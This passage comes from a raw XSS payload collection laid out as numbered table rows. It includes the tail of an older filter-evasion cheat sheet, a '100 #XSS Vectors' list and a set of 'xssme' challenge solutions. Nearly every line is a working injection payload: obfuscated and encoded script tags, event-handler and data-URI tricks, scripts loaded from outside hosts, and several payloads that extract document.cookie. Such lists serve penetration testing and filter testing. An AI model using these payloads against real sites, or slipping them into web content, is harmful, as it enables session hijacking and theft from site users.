| 402 | alert(a.source)</SCRIPT> | |
| 403 | ";alert('XSS');//
| |
| 404 | </TITLE><SCRIPT>alert("XSS");</SCRIPT>
| |
| 405 | <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
| |
| 406 | <BODY BACKGROUND="javascript:alert('XSS')">
| |
| 407 | <BODY ONLOAD=alert('XSS')>
| |
| 408 | <IMG DYNSRC="javascript:alert('XSS')">
| |
| 409 | <IMG LOWSRC="javascript:alert('XSS')">
| |
| 410 | <BGSOUND SRC="javascript:alert('XSS');">
| |
| 411 | <BR SIZE="&{alert('XSS')}">
| |
| 412 | <LAYER SRC="http://ha.ckers.org/ | |
| 413 | scriptlet.html"></LAYER> | |
| 414 | <LINK REL="stylesheet" HREF="javascript:alert('XSS');">
| |
| 415 | <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css"> | |
| 416 | <STYLE>@import'http://ha.ckers.org/xss.css';</STYLE> | |
| 417 | <META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet"> | |
| 418 | <STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>
| |
| 419 | <XSS STYLE="behavior: url(xss.htc);"> | |
| 420 | <STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS
| |
| 421 | <IMG SRC='vbscript:msgbox("XSS")'>
| |
| 422 | <IMG SRC="mocha:[code]"> | |
| 423 | <IMG SRC="livescript:[code]"> | |
| 424 | <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
| |
| 425 | <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"> | |
| 426 | <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
| |
| 427 | <IFRAME SRC="javascript:alert('XSS');"></IFRAME>
| |
| 428 | <FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
| |
| 429 | <TABLE BACKGROUND="javascript:alert('XSS')">
| |
| 430 | <TABLE><TD BACKGROUND="javascript:alert('XSS')">
| |
| 431 | <DIV STYLE="background-image: url(javascript:alert('XSS'))">
| |
| 432 | <DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029"> | |
| 433 | <DIV STYLE="background-image: url(javascript:alert('XSS'))">
| |
| 434 | <DIV STYLE="width: expression(alert('XSS'));">
| |
| 435 | <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
| |
| 436 | <IMG STYLE="xss:expr/*XSS*ession(alert('XSS'))">
| |
| 437 | <XSS STYLE="xss:expression(alert('XSS'))">
| |
| 438 | exp/*<A STYLE='no\xss:noxss("**");
| |
| 439 | xss:ex/*XSS*//**pression(alert("XSS"))'>
| |
| 440 | <STYLE TYPE="text/javascript">alert('XSS');</STYLE>
| |
| 441 | <STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
| |
| 442 | <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
| |
| 443 | <!--[if gte IE 4]> | |
| 444 | <SCRIPT>alert('XSS');</SCRIPT>
| |
| 445 | <![endif]--> | |
| 446 | <BASE HREF="javascript:alert('XSS');//">
| |
| 447 | <OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT> | |
| 448 | <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>
| |
| 449 | <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED> | |
| 450 | <HTML xmlns:xss> | |
| 451 | <?import namespace="xss" implementation="http://ha.ckers.org/xss.htc"> | |
| 452 | <xss:xss>XSS</xss:xss> | |
| 453 | </HTML> | |
| 454 | <XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>
| |
| 455 | </C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN> | |
| 456 | <XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML>
| |
| 457 | <SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN> | |
| 458 | <XML SRC="xsstest.xml" ID=I></XML> | |
| 459 | <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN> | |
| 460 | <HTML><BODY> | |
| 461 | <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"> | |
| 462 | <?import namespace="t" implementation="#default#time2"> | |
| 463 | <t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>"> | |
| 464 | </BODY></HTML> | |
| 465 | <SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT> | |
| 466 | <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">
| |
| 467 | <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD><SCRIPT>alert('XSS');</SCRIPT>
| |
| 468 | <SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT> | |
| 469 | <SCRIPT =">" SRC="http://ha.ckers.org/xss.js"></SCRIPT> | |
| 470 | <SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT> | |
| 471 | <SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT> | |
| 472 | <SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT> | |
| 473 | <SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT> | |
| 474 | <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>
| |
| 475 | <A HREF="http://66.102.7.147/">XSS</A> | |
| 476 | <A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A> | |
| 477 | <A HREF="http://1113982867/">XSS</A> | |
| 478 | <A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A> | |
| 479 | <A HREF="http://0102.0146.0007.00000223/">XSS</A> | |
| 480 | <A HREF="h | |
| 481 | tt p://6	6.000146.0x7.147/">XSS</A> | |
| 482 | <A HREF="//www.google.com/">XSS</A> | |
| 483 | <A HREF="//google">XSS</A> | |
| 484 | <A HREF="http://ha.ckers.org@google">XSS</A> | |
| 485 | <A HREF="http://google:ha.ckers.org">XSS</A> | |
| 486 | <A HREF="http://google.com/">XSS</A> | |
| 487 | <A HREF="http://www.google.com./">XSS</A> | |
| 488 | <A HREF="javascript:document.location='http://www.google.com/'">XSS</A> | |
| 489 | <A HREF="http://www.gohttp://www.google.com/ogle.com/">XSS</A> | |
| 490 | ||
| 491 | ▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉ | |
| 492 | 100 #XSS Vectors by @soaj1664ashar | |
| 493 | ||
| 494 | <iframe %00 src="	javascript:prompt(1)	"%00> | |
| 495 | ||
| 496 | <svg><style>{font-family:'<iframe/onload=confirm(1)>'
| |
| 497 | ||
| 498 | <input/onmouseover="javaSCRIPT:confirm(1)" | |
| 499 | ||
| 500 | <sVg><scRipt %00>alert(1) {Opera}
| |
| 501 | ||
| 502 | <img/src=`%00` onerror=this.onerror=confirm | |
| 503 | ||
| 504 | <form><isindex formaction="javascript:confirm(1)" | |
| 505 | ||
| 506 | <img src=`%00`
 onerror=alert(1)
 | |
| 507 | ||
| 508 | <script/	 src='https://dl.dropbox.com/u/13018058/js.js' /	></script> | |
| 509 | ||
| 510 | <ScRipT 5-0*3?=>prompt(1)</ScRipT giveanswerhere=? | |
| 511 | ||
| 512 | <iframe/src="data:text/html;	base64	,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg=="> | |
| 513 | ||
| 514 | <script /*%00*/>/*%00*/alert(1)/*%00*/</script /*%00*/ | |
| 515 | ||
| 516 | "><h1/onmouseover='\u0061lert(1)'>%00 | |
| 517 | ||
| 518 | <iframe/src="data:text/html,<svg onload=alert(1)>"> | |
| 519 | ||
| 520 | <meta content="
 1 
; JAVASCRIPT: alert(1)" http-equiv="refresh"/> | |
| 521 | ||
| 522 | <svg><script xlink:href=data:,window.open('https://www.google.com/')></script
| |
| 523 | ||
| 524 | <svg><script x:href='https://dl.dropbox.com/u/13018058/js.js' {Opera}
| |
| 525 | ||
| 526 | <meta http-equiv="refresh" content="0;url=javascript:confirm(1)"> | |
| 527 | ||
| 528 | <iframe src=javascript:alert(document.location)> | |
| 529 | ||
| 530 | <form><a href="javascript:\u0061lert(1)">X | |
| 531 | ||
| 532 | </script><img/*%00/src="worksinchrome:prompt(1)"/%00*/onerror='eval(src)'> | |
| 533 | ||
| 534 | <img/	  src=`~` onerror=prompt(1)> | |
| 535 | ||
| 536 | <form><iframe 	  src="javascript:alert(1)" 	;> | |
| 537 | ||
| 538 | <a href="data:application/x-x509-user-cert;
base64
,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="	 >X</a | |
| 539 | ||
| 540 | http://www.google<script .com>alert(document.location)</script | |
| 541 | ||
| 542 | <a href=[�]"� onmouseover=prompt(1)//">XYZ</a | |
| 543 | ||
| 544 | <img/src=@  onerror = prompt('1')
| |
| 545 | ||
| 546 | <style/onload=prompt('XSS') | |
| 547 | ||
| 548 | <script ^__^>alert(String.fromCharCode(49))</script ^__^ | |
| 549 | ||
| 550 | </style  ><script   :-(>/**/alert(document.location)/**/</script   :-( | |
| 551 | ||
| 552 | �</form><input type="date" onfocus="alert(1)"> | |
| 553 | ||
| 554 | <form><textarea onkeyup='\u0061\u006C\u0065\u0072\u0074(1)'> | |
| 555 | ||
| 556 | <script /***/>/***/confirm('\uFF41\uFF4C\uFF45\uFF52\uFF54\u1455\uFF11\u1450')/***/</script /***/
| |
| 557 | ||
| 558 | <iframe srcdoc='<body onload=prompt(1)>'> | |
| 559 | ||
| 560 | <a href="javascript:void(0)" onmouseover=
javascript:alert(1)
>X</a> | |
| 561 | ||
| 562 | <script ~~~>alert(0%0)</script ~~~> | |
| 563 | ||
| 564 | <style/onload=<!--	> alert (1)> | |
| 565 | ||
| 566 | <///style///><span %2F onmousemove='alert(1)'>SPAN | |
| 567 | ||
| 568 | <img/src='http://i.imgur.com/P8mL8.jpg' onmouseover=	prompt(1) | |
| 569 | ||
| 570 | "><svg><style>{-o-link-source:'<body/onload=confirm(1)>'
| |
| 571 | ||
| 572 | <blink/ onmouseover=prompt(1)>OnMouseOver {Firefox & Opera}
| |
| 573 | ||
| 574 | <marquee onstart='javascript:alert(1)'>^__^ | |
| 575 | ||
| 576 | <div/style="width:expression(confirm(1))">X</div> {IE7}
| |
| 577 | ||
| 578 | <iframe/%00/ src=javaSCRIPT:alert(1) | |
| 579 | ||
| 580 | //<form/action=javascript:alert(document.cookie)><input/type='submit'>// | |
| 581 | ||
| 582 | /*iframe/src*/<iframe/src="<iframe/src=@"/onload=prompt/*iframe/src*/> | |
| 583 | ||
| 584 | //|\\ <script //|\\ src='https://dl.dropbox.com/u/13018058/js.js'> //|\\ </script //|\\ | |
| 585 | ||
| 586 | </font>/<svg><style>{src:'<style/onload=this.onload=confirm(1)>'</font>/</style>
| |
| 587 | ||
| 588 | <a/href="javascript: javascript:prompt(1)"><input type="X"> | |
| 589 | ||
| 590 | </plaintext\></|\><plaintext/onmouseover=prompt(1) | |
| 591 | ||
| 592 | </svg>''<svg><script 'AQuickBrownFoxJumpsOverTheLazyDog'>alert(1) {Opera}
| |
| 593 | ||
| 594 | <a href="javascript:\u0061le%72t(1)"><button> | |
| 595 | ||
| 596 | <div onmouseover='alert(1)'>DIV</div> | |
| 597 | ||
| 598 | <iframe style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)"> | |
| 599 | ||
| 600 | <a href="jAvAsCrIpT:alert(1)">X</a> | |
| 601 | ||
| 602 | <embed src="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf"> | |
| 603 | ||
| 604 | <object data="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf"> | |
| 605 | ||
| 606 | <var onmouseover="prompt(1)">On Mouse Over</var> | |
| 607 | ||
| 608 | <a href=javascript:alert(document.cookie)>Click Here</a> | |
| 609 | ||
| 610 | <img src="/" =_=" title="onerror='prompt(1)'"> | |
| 611 | ||
| 612 | <%<!--'%><script>alert(1);</script --> | |
| 613 | ||
| 614 | <script src="data:text/javascript,alert(1)"></script> | |
| 615 | ||
| 616 | <iframe/src \/\/onload = prompt(1) | |
| 617 | ||
| 618 | <iframe/onreadystatechange=alert(1) | |
| 619 | ||
| 620 | <svg/onload=alert(1) | |
| 621 | ||
| 622 | <input value=<><iframe/src=javascript:confirm(1) | |
| 623 | ||
| 624 | <input type="text" value=`` <div/onmouseover='alert(1)'>X</div> | |
| 625 | ||
| 626 | http://www.<script>alert(1)</script .com | |
| 627 | ||
| 628 | <iframe src=j
	a
		v
			a
				s
					c
						r
							i
								p
									t
										:a
											l
												e
													r
														t
															28
																1
																	%29></iframe> | |
| 629 | ||
| 630 | <svg><script ?>alert(1) | |
| 631 | ||
| 632 | <iframe src=j	a	v	a	s	c	r	i	p	t	:a	l	e	r	t	%28	1	%29></iframe> | |
| 633 | ||
| 634 | <img src=`xx:xx`onerror=alert(1)> | |
| 635 | ||
| 636 | <object type="text/x-scriptlet" data="http://jsfiddle.net/XLE63/ "></object> | |
| 637 | ||
| 638 | <meta http-equiv="refresh" content="0;javascript:alert(1)"/> | |
| 639 | ||
| 640 | <math><a xlink:href="//jsfiddle.net/t846h/">click | |
| 641 | ||
| 642 | <embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always> | |
| 643 | ||
| 644 | <svg contentScriptType=text/vbs><script>MsgBox | |
| 645 | ||
| 646 | <a href="data:text/html;base64_,<svg/onload=\u0061le%72t(1)>">X</a | |
| 647 | ||
| 648 | <iframe/onreadystatechange=\u0061\u006C\u0065\u0072\u0074('\u006worksinIE>
| |
| 649 | ||
| 650 | <script>~'\u0061' ; \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073. \u0061\u006C\u0065\u0072\u0074(~'\u0061')</script U | |
| 651 | ||
| 652 | <script/src="data:text%2Fj\u0061v\u0061script,\u0061lert('\u0061')"></script a=\u0061 & /=%2F
| |
| 653 | ||
| 654 | <script/src=data:text/j\u0061v\u0061script,\u0061%6C%65%72%74(/XSS/)></script | |
| 655 | ||
| 656 | <object data=javascript:\u0061le%72t(1)> | |
| 657 | ||
| 658 | <script>++1-+?(1)</script> | |
| 659 | ||
| 660 | <body/onload=<!-->
alert(1)> | |
| 661 | ||
| 662 | <script itworksinallbrowsers>/*<script* */alert(1)</script | |
| 663 | ||
| 664 | <img src ?itworksonchrome?\/onerror = alert(1) | |
| 665 | ||
| 666 | <svg><script>//
confirm(1);</script </svg> | |
| 667 | ||
| 668 | <svg><script onlypossibleinopera:-)> alert(1) | |
| 669 | ||
| 670 | <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=javascript:alert(1)>ClickMe | |
| 671 | ||
| 672 | <script x> alert</script 1=2 | |
| 673 | ||
| 674 | <div/onmouseover='alert(1)'> style="x:"> | |
| 675 | ||
| 676 | <--`<img/src=` onerror=alert(1)> --!> | |
| 677 | ||
| 678 | <script/src=data:text/javascript,alert(1)></script> | |
| 679 | ||
| 680 | <div style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)" onclick="alert(1)">x</button> | |
| 681 | ||
| 682 | "><img src=x onerror=window.open('https://www.google.com/');>
| |
| 683 | ||
| 684 | <form><button formaction=javascript:alert(1)>CLICKME | |
| 685 | ||
| 686 | <math><a xlink:href="//jsfiddle.net/t846h/">click | |
| 687 | ||
| 688 | <object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik></object> | |
| 689 | ||
| 690 | <iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe> | |
| 691 | ||
| 692 | 1<a href="data:text/html;blabla,<script src="http://sternefamily.net/foo.js"></script>​">Click Me</a> | |
| 693 | ||
| 694 | ▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉ | |
| 695 | AND EVEN MORE: | |
| 696 | ||
| 697 | '%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Eshadowlabs(0x000045)%3C/script%3E | |
| 698 | <<scr\0ipt/src=http://xss.com/xss.js></script | |
| 699 | %27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3ERWAR%280x00010E%29%3C%2Fscript%3E | |
| 700 | ' onmouseover=alert(/Black.Spook/) | |
| 701 | "><iframe%20src="http://google.com"%%203E | |
| 702 | '<script>window.onload=function(){document.forms[0].message.value='1';}</script>
| |
| 703 | x”</title><img src%3dx onerror%3dalert(1)> | |
| 704 | <script> document.getElementById(%22safe123%22).setCapture(); document.getElementById(%22safe123%22).click(); </script> | |
| 705 | <script>Object.defineProperties(window, {Safe: {value: {get: function() {return document.cookie}}}});alert(Safe.get())</script>
| |
| 706 | <script>var x = document.createElement('iframe');document.body.appendChild(x);var xhr = x.contentWindow.XMLHttpRequest();xhr.open('GET', 'http://xssme.html5sec.org/xssme2', true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send();</script>
| |
| 707 | <script>(function() {var event = document.createEvent(%22MouseEvents%22);event.initMouseEvent(%22click%22, true, true, window, 0, 0, 0, 0, 0, false, false, false, false, 0, null);var fakeData = [event, {isTrusted: true}, event];arguments.__defineGetter__('0', function() { return fakeData.pop(); });alert(Safe.get.apply(null, arguments));})();</script>
| |
| 708 | <script>var script = document.getElementsByTagName('script')[0]; var clone = script.childNodes[0].cloneNode(true); var ta = document.createElement('textarea'); ta.appendChild(clone); alert(ta.value.match(/cookie = '(.*?)'/)[1])</script>
| |
| 709 | <script>xhr=new ActiveXObject(%22Msxml2.XMLHTTP%22);xhr.open(%22GET%22,%22/xssme2%22,true);xhr.onreadystatechange=function(){if(xhr.readyState==4%26%26xhr.status==200){alert(xhr.responseText.match(/'([^']%2b)/)[1])}};xhr.send();</script>
| |
| 710 | <script>alert(document.documentElement.innerHTML.match(/'([^']%2b)/)[1])</script> | |
| 711 | <script>alert(document.getElementsByTagName('html')[0].innerHTML.match(/'([^']%2b)/)[1])</script>
| |
| 712 | <%73%63%72%69%70%74> %64 = %64%6f%63%75%6d%65%6e%74%2e%63%72%65%61%74%65%45%6c%65%6d%65%6e%74(%22%64%69%76%22); %64%2e%61%70%70%65%6e%64%43%68%69%6c%64(%64%6f%63%75%6d%65%6e%74%2e%68%65%61%64%2e%63%6c%6f%6e%65%4e%6f%64%65(%74%72%75%65)); %61%6c%65%72%74(%64%2e%69%6e%6e%65%72%48%54%4d%4c%2e%6d%61%74%63%68(%22%63%6f%6f%6b%69%65 = '(%2e%2a%3f)'%22)[%31]); </%73%63%72%69%70%74> | |
| 713 | <script> var xdr = new ActiveXObject(%22Microsoft.XMLHTTP%22); xdr.open(%22get%22, %22/xssme2%3Fa=1%22, true); xdr.onreadystatechange = function() { try{ var c; if (c=xdr.responseText.match(/document.cookie = '(.*%3F)'/) ) alert(c[1]); }catch(e){} }; xdr.send(); </script>
| |
| 714 | <iframe id=%22ifra%22 src=%22/%22></iframe> <script>ifr = document.getElementById('ifra'); ifr.contentDocument.write(%22<scr%22 %2b %22ipt>top.foo = Object.defineProperty</scr%22 %2b %22ipt>%22); foo(window, 'Safe', {value:{}}); foo(Safe, 'get', {value:function() { return document.cookie }}); alert(Safe.get());</script>
| |
| 715 | <script>alert(document.head.innerHTML.substr(146,20));</script> | |
| 716 | <script>alert(document.head.childNodes[3].text)</script> | |
| 717 | <script>var request = new XMLHttpRequest();request.open('GET', 'http://html5sec.org/xssme2', false);request.send(null);if (request.status == 200){alert(request.responseText.substr(150,41));}</script>
| |
| 718 | <script>Object.defineProperty(window, 'Safe', {value:{}});Object.defineProperty(Safe, 'get', {value:function() {return document.cookie}});alert(Safe.get())</script>
| |
| 719 | <script>x=document.createElement(%22iframe%22);x.src=%22http://xssme.html5sec.org/404%22;x.onload=function(){window.frames[0].document.write(%22<script>r=new XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==200){alert(r.responseText.substr(150,41));}<\/script>%22)};document.body.appendChild(x);</script>
| |
| 720 | <script>x=document.createElement(%22iframe%22);x.src=%22http://xssme.html5sec.org/404%22;x.onload=function(){window.frames[0].document.write(%22<script>Object.defineProperty(parent,'Safe',{value:{}});Object.defineProperty(parent.Safe,'get',{value:function(){return top.document.cookie}});alert(parent.Safe.get())<\/script>%22)};document.body.appendChild(x);</script>
| |
| 721 | <script> var+xmlHttp+=+null; try+{ xmlHttp+=+new+XMLHttpRequest(); }+catch(e)+{} if+(xmlHttp)+{ xmlHttp.open('GET',+'/xssme2',+true); xmlHttp.onreadystatechange+=+function+()+{ if+(xmlHttp.readyState+==+4)+{ xmlHttp.responseText.match(/document.cookie%5Cs%2B=%5Cs%2B'(.*)'/gi); alert(RegExp.%241); } } xmlHttp.send(null); }; </script>
| |
| 722 | <script> document.getElementById(%22safe123%22).click=function()+{alert(Safe.get());} document.getElementById(%22safe123%22).click({'type':'click','isTrusted':true}); </script>
| |
| 723 | <script> var+MouseEvent=function+MouseEvent(){}; MouseEvent=MouseEvent var+test=new+MouseEvent(); test.isTrusted=true; test.type='click'; document.getElementById(%22safe123%22).click=function()+{alert(Safe.get());} document.getElementById(%22safe123%22).click(test); </script>
| |
| 724 | <script> (function (o) { function exploit(x) { if (x !== null) alert('User cookie is ' %2B x); else console.log('fail'); } o.onclick = function (e) { e.__defineGetter__('isTrusted', function () { return true; }); exploit(Safe.get()); }; var e = document.createEvent('MouseEvent'); e.initEvent('click', true, true); o.dispatchEvent(e); })(document.getElementById('safe123')); </script>
| |
| 725 | <iframe src=/ onload=eval(unescape(this.name.replace(/\/g,null))) name=fff%253Dnew%2520this.contentWindow.window.XMLHttpRequest%2528%2529%253Bfff.open%2528%2522GET%2522%252C%2522xssme2%2522%2529%253Bfff.onreadystatechange%253Dfunction%2528%2529%257Bif%2520%2528fff.readyState%253D%253D4%2520%2526%2526%2520fff.status%253D%253D200%2529%257Balert%2528fff.responseText%2529%253B%257D%257D%253Bfff.send%2528%2529%253B></iframe> | |
| 726 | <script> function b() { return Safe.get(); } alert(b({type:String.fromCharCode(99,108,105,99,107),isTrusted:true})); </script>
| |
| 727 | <img src=http://www.google.fr/images/srpr/logo3w.png onload=alert(this.ownerDocument.cookie) width=0 height= 0 /> # | |
| 728 | <script> function foo(elem, doc, text) { elem.onclick = function (e) { e.__defineGetter__(text[0], function () { return true }) alert(Safe.get()); }; var event = doc.createEvent(text[1]); event.initEvent(text[2], true, true); elem.dispatchEvent(event); } </script> <img src=http://www.google.fr/images/srpr/logo3w.png onload=foo(this,this.ownerDocument,this.name.split(/,/)) name=isTrusted,MouseEvent,click width=0 height=0 /> #
| |
| 729 | <SCRIPT+FOR=document+EVENT=onreadystatechange>MouseEvent=function+MouseEvent(){};test=new+MouseEvent();test.isTrusted=true;test.type=%22click%22;getElementById(%22safe123%22).click=function()+{alert(Safe.get());};getElementById(%22safe123%22).click(test);</SCRIPT>#
| |
| 730 | <script> var+xmlHttp+=+null; try+{ xmlHttp+=+new+XMLHttpRequest(); }+catch(e)+{} if+(xmlHttp)+{ xmlHttp.open('GET',+'/xssme2',+true); xmlHttp.onreadystatechange+=+function+()+{ if+(xmlHttp.readyState+==+4)+{ xmlHttp.responseText.match(/document.cookie%5Cs%2B=%5Cs%2B'(.*)'/gi); alert(RegExp.%241); } } xmlHttp.send(null); }; </script>#
| |
| 731 | <video+onerror='javascript:MouseEvent=function+MouseEvent(){};test=new+MouseEvent();test.isTrusted=true;test.type=%22click%22;document.getElementById(%22safe123%22).click=function()+{alert(Safe.get());};document.getElementById(%22safe123%22).click(test);'><source>%23
| |
| 732 | <script for=document event=onreadystatechange>getElementById('safe123').click()</script>
| |
| 733 | <script> var+x+=+showModelessDialog+(this); alert(x.document.cookie); </script> | |
| 734 | <script> location.href = 'data:text/html;base64,PHNjcmlwdD54PW5ldyBYTUxIdHRwUmVxdWVzdCgpO3gub3BlbigiR0VUIiwiaHR0cDovL3hzc21lLmh0bWw1c2VjLm9yZy94c3NtZTIvIix0cnVlKTt4Lm9ubG9hZD1mdW5jdGlvbigpIHsgYWxlcnQoeC5yZXNwb25zZVRleHQubWF0Y2goL2RvY3VtZW50LmNvb2tpZSA9ICcoLio/KScvKVsxXSl9O3guc2VuZChudWxsKTs8L3NjcmlwdD4='; </script> | |
| 735 | <iframe src=%22404%22 onload=%22frames[0].document.write(%26quot;<script>r=new XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==200){alert(r.responseText.substr(150,41));}<\/script>%26quot;)%22></iframe>
| |
| 736 | <iframe src=%22404%22 onload=%22content.frames[0].document.write(%26quot;<script>r=new XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==200){alert(r.responseText.substr(150,41));}<\/script>%26quot;)%22></iframe>
| |
| 737 | <iframe src=%22404%22 onload=%22self.frames[0].document.write(%26quot;<script>r=new XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==200){alert(r.responseText.substr(150,41));}<\/script>%26quot;)%22></iframe>
| |
| 738 | <iframe src=%22404%22 onload=%22top.frames[0].document.write(%26quot;<script>r=new XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==200){alert(r.responseText.substr(150,41));}<\/script>%26quot;)%22></iframe>
| |
| 739 | <script>var x = safe123.onclick;safe123.onclick = function(event) {var f = false;var o = { isTrusted: true };var a = [event, o, event];var get;event.__defineGetter__('type', function() {get = arguments.callee.caller.arguments.callee;return 'click';});var _alert = alert;alert = function() { alert = _alert };x.apply(null, a);(function() {arguments.__defineGetter__('0', function() { return a.pop(); });alert(get());})();};safe123.click();</script>#
| |
| 740 | <iframe onload=%22write('<script>'%2Blocation.hash.substr(1)%2B'</script>')%22></iframe>#var xhr = new XMLHttpRequest();xhr.open('GET', 'http://xssme.html5sec.org/xssme2', true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send();
| |
| 741 | <textarea id=ta></textarea><script>ta.appendChild(safe123.parentNode.previousSibling.previousSibling.childNodes[3].firstChild.cloneNode(true));alert(ta.value.match(/cookie = '(.*?)'/)[1])</script> | |
| 742 | <textarea id=ta onfocus=console.dir(event.currentTarget.ownerDocument.location.href=%26quot;javascript:\%26quot;%26lt;script%26gt;var%2520xhr%2520%253D%2520new%2520XMLHttpRequest()%253Bxhr.open('GET'%252C%2520'http%253A%252F%252Fhtml5sec.org%252Fxssme2'%252C%2520true)%253Bxhr.onload%2520%253D%2520function()%2520%257B%2520alert(xhr.responseText.match(%252Fcookie%2520%253D%2520'(.*%253F)'%252F)%255B1%255D)%2520%257D%253Bxhr.send()%253B%26lt;\/script%26gt;\%26quot;%26quot;) autofocus></textarea>
| |
| 743 | <iframe onload=%22write('<script>'%2Blocation.hash.substr(1)%2B'</script>')%22></iframe>#var xhr = new XMLHttpRequest();xhr.open('GET', 'http://xssme.html5sec.org/xssme2', true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send();
| |
| 744 | <textarea id=ta></textarea><script>ta.appendChild(safe123.parentNode.previousSibling.previousSibling.childNodes[3].firstChild.cloneNode(true));alert(ta.value.match(/cookie = '(.*?)'/)[1])</script> | |
| 745 | <script>function x(window) { eval(location.hash.substr(1)) }</script><iframe id=iframe src=%22javascript:parent.x(window)%22><iframe>#var xhr = new window.XMLHttpRequest();xhr.open('GET', 'http://xssme.html5sec.org/xssme2', true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send();
| |
| 746 | <textarea id=ta onfocus=%22write('<script>alert(1)</script>')%22 autofocus></textarea>
| |
| 747 | <object data=%22data:text/html;base64,PHNjcmlwdD4gdmFyIHhociA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOyB4aHIub3BlbignR0VUJywgJ2h0dHA6Ly94c3NtZS5odG1sNXNlYy5vcmcveHNzbWUyJywgdHJ1ZSk7IHhoci5vbmxvYWQgPSBmdW5jdGlvbigpIHsgYWxlcnQoeGhyLnJlc3BvbnNlVGV4dC5tYXRjaCgvY29va2llID0gJyguKj8pJy8pWzFdKSB9OyB4aHIuc2VuZCgpOyA8L3NjcmlwdD4=%22> | |
| 748 | <script>function x(window) { eval(location.hash.substr(1)) }; open(%22javascript:opener.x(window)%22)</script>#var xhr = new window.XMLHttpRequest();xhr.open('GET', 'http://xssme.html5sec.org/xssme2', true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send();
| |
